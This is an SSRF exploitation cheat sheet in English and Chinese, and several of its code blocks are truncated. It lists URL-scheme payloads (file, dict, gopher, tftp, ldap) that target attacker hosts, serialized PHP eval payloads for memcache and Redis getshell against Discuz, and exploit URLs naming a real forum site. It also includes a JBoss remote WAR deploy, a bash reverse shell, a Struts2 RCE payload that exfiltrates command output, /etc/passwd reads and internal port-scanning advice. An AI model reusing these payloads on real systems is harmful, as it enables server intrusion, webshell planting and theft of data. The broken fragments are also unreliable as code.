SSRF PHP function
file_get_contents() |
URL schema support
SFTP
http://safebuff.com/ssrf.php?url=sftp://evil.com:11111/ |
Dict
http://safebuff.com/ssrf.php?dict://attacker:11111/ |
gopher
// http://safebuff.com/ssrf.php?url=http://evil.com/gopher.php |
TFTP
http://safebuff.com/ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET |
file
http://safebuff.com/redirect.php?url=file:///etc/passwd |
ldap
http://safebuff.com/redirect.php?url=ldap://localhost:11211/%0astats%0aquit |
PHP-FPM
PHP-FPM universal SSRF bypass safe_mode/disabled_functions/o exploit
SSRF memcache Getshell
Generate serialize
<?php |
Output
a:1:{s:12:"global_start";s:25:"@eval($_REQUEST['eval']);";} //序列化数据 |
webshell.php
<?php |
back.php
<?php |
example Discuz
open the website
http://bbs.biligame.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://myvps/webshell.php?logo.jpg[/img] |
clear data
http://bbs.biligame.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://myserver/back.php?logo.jpg[/img] |
backdoor url
http://bbs.biligame.com/data/cache/hello.php |
SSRF Redis Getshell
Generate serialize
<?php |
Output
a:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";a:1:{s:7:"plugins";s:5:"/.*/e";}s:7:"replace";a:1:{s:7:"plugins";s:19:"@eval($_POST["c"]);";}}}s:13:"rewritestatus";i:1;} //序列化数据 |
example Discuz
Open website
http://192.168.80.116/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://you-vps-ip/ssrf.php?.jpg[/img]&formhash=818c8f44 |
Backdoor website
http://192.168.80.116/forum.php?mod=ajax&inajax=yes&action=getthreadtypes |
FFmpeg
cat test.jpg
#EXTM3U |
#EXTM3U |
PostgreSQL
Exploit
> SELECT dblink_send_query('host=127.0.0.1 dbname=quit user=\'\nstats\n\' password=1 port=11211 sslmode=disable','select |
MongoDB
Exploit
> db.copyDatabase("\1\2\3\4\5\6\7",'test','localhost:8000') |
CouchDB
exploit
http://localhost:5984/_users/_all_docs |
HTTP/1.1 200 OK |
Attacker could also send requests from CouchDB server to intranet by using replication function
POST http://couchdb:5984/_replicate |
Jboss
Jbosss POC
/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://our_public_internet_server/utils/cmd.war |
写入shell
http://target.com/ueditor/jsp/getRemoteImage.jsp |
http://target.com/ueditor/jsp/getRemoteImage.jsp |
reverse shell
bash -i >& /dev/tcp/123.45.67.89/9999 0>&1 |
Weblogic
gopher.php
<?php |
vuln website
https://example.com/uddiexplorer/SearchPublicRegistries.jsp |
vps
> nc -lvv 2333 |
Local File Read
http://www.xxx.com/redirect.php?url=file:///etc/passwd |
Bool SSRF
Struts2-016 POC
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SERVER/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()} |
SSRF Proxy
当我们发现SSRF漏洞后,首先要做的事情就是测试所有可用的URL Schema:
- file:///
- dict://
- sftp://
- ldap://
- tftp://
- gopher://
####file://
这种URL Schema可以尝试从文件系统中获取文件:
http://example.com/ssrf.php?url=file:///etc/passwd
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini
如果该服务器阻止对外部站点发送HTTP请求,或启用了白名单防护机制,只需使用如下所示的URL Schema就可以绕过这些限制:
####dict://
这种URL Scheme能够引用允许通过DICT协议使用的定义或单词列表:
http://example.com/ssrf.php?dict://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 31126)
CLIENT libcurl 7.40.0
####sftp://
在这里,Sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作。
http://example.com/ssrf.php?url=sftp://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 37146)
SSH-2.0-libssh2_1.4.2
####ldap://或ldaps:// 或ldapi://
LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。
http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit
####tftp://
TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机。
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port1337)
TESTUDPPACKEToctettsize0blksize512timeout3
####gopher://
Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。
http://example.com/ssrf.php?url=http://attacker.com/gopher.php
gopher.php (host it on acttacker.com):-
<?php
header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');
?>
evil.com:# nc -lvp 1337
Listening on [0.0.0.0] (family 0, port1337)
Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 49398)
Hi
ssrf
test
有关更多信息,请参见此处。
###扫描内部网络和端口
如果攻击对象在局域网中运行一些服务器(如Kibana、Elastic Search、MongoDB,等等),但是我们却无法直接从Internet访问它们,因为防火墙会阻止这些访问,那么,我们该如何是好呢?
别急,我们可以利用SSRF漏洞来访问它们。
攻击者可以运行内部IP并进行端口扫描,从而了解有关目标的更多信息,并将其用于进一步攻击。
有时,这甚至会导致远程代码执行攻击。
示例:假设攻击者发现了一台运行过时软件的内部主机,该主机存在已经公开曝光的RCE漏洞,这样的话,攻击者就可以利用该漏洞来执行代码。当然,这种方式也适用于其他类型的漏洞。